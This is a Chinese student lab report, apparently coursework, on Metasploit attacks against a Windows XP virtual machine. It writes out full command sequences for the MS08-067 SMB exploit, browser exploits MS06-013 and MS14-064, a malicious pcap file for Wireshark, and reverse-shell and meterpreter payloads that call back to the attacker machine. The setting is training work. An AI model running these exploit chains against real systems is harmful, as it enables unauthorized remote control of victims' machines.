Exp6 MSF应用基础-20201324
1 实践内容
1.0 安装靶机
下载和安装windows xp,配置共享文件夹,关闭防火墙
用windows xp作为靶机,kali作为攻击机
查看IP地址
互ping可通
1.1一个主动攻击实践,尽量使用最新的类似漏洞;
主动攻击实践MS08-067
攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.137.130
存在漏洞信息。
查看靶机目标端口是否开启
msfconsole
search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.137.130
exploit
端口默认为445,已打开
msfconsole
//查找该漏洞使用的攻击模块
search ms08_067
use exploit/windows/smb/ms08_067_netapi //选择使用的渗透模块
set payload generic/shell_reverse_tcp //使用的payload
show options //查看需要设置的参数
set RHOSTS 192.168.137.130
set LPORT 1324
set LHOST 192.168.137.142
set target 0
exploit //侦听
成功获得了Windows xp的shell,运行ipconfig
命令发现ip地址一致。攻击成功
1.2 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
1.2.1 针对浏览器的攻击ms06_013_createtextrange
设计攻击模块及参数
use exploit/windows/browser/ms06_013_createtextrange //选择使用exploit漏洞
set payload windows/meterpreter/reverse_tcp //选择payload
show options //查看所需调的参数
exploit //开始攻击
获得url,并在windows xp中用IE浏览器打开
浏览器开始从0-100计时。最终停在100
但是没能建立连接,于是又试了另一种攻击
1.2.2 针对浏览器的攻击MS14-064
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.137.142 //设置攻击机IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LPORT 1324
set LHOST 192.168.137.142
set target 0 //设置winXP靶机
exploit
把生成的URL地址复制进Windows XP的浏览器中,在kali中可以看到成功建立了一个会话。
ctrl+c
退出当前状态,输入sessions -i 1
获取第一个会话连接,并输入ipconfig
验证靶机地址
验证成功,攻击机成功获取靶机shell
1.3 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
利用wireshark_mpeg_overflow攻击Windows XP
use exploit/windows/fileformat/wireshark_packet_dect
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.137.142
set LPORT 1324
set FILENAME 1324xy.pcap
exploit
cp -r "/root/.msf4/local/1324xy.pcap" "/home/20201324/Desktop/"
生成1324xy.pcap文件,移动到桌面
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.137.142
set LPORT 1324
exploit
将文件1324xy.pcap在xp中用wireshark打开
但回连没有成功。攻击机一直在等待靶机触发条件,但感觉触发条件并不是打开文件,应该还需要其他操作。
1.4 成功应用任何一个辅助模块
ipidseq
msfconsole
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.137.130
set TIMEOUT 3 //设置时间最长扫描时间
exploit
我们只要将IP设成范围就可以扫描同一网段下的其他主机了
当我们知道靶机IP所在范围时,可以扫描出靶机的具体地址。
2 基础问题回答
用自己的话解释什么是exploit,payload,encode.
exploit:放入恶意代码,进行安全漏洞对靶机进行一些非授权操作的过程
payload:载荷。也就是一段shellcode攻击代码,在利用漏洞对靶机进行一系列操作的过程中,实质上进行执行shellcode代码。
encode:编码。通过改变shellcode的编码格式来对攻击代码进行伪装,使其能正常运行并尽量免杀。
3 实践总结与体会
做的时候只是盘了一下各个命令之间的逻辑,大概明白每一步是做什么,达到什么样的效果。但这条命令为什么能起到这样的效果,我并没有从原理上理解 所以这次验收不会考这个吧 。另一方面,我觉得漏洞挖掘的触发条件比较苛刻,我做针对浏览器的攻击时采用了两种方式,一种做出了一种没做出来,但其实二者思路是基本一致的。包括后面的尝试,可能只是靶机少点了一个键,攻击就不能成功。那实战中每一步都恰好碰对的几率能有多大呢?目前觉得还是太巧合了
4 离实战还缺些什么技术或步骤
缺少独立发现新漏洞的能力。本次实验中使用的漏洞利用方法都是已经被总结和公开的,而且也只能在xp这种低版本上才能复现。随着操作系统版本一次次迭代,以及前人多年耕耘,发现漏洞应该越来越困难,而且常规方法可能也不再适用。现在的信息安全人员需要掌握新的技术和工具,以及创新更高级的思路才行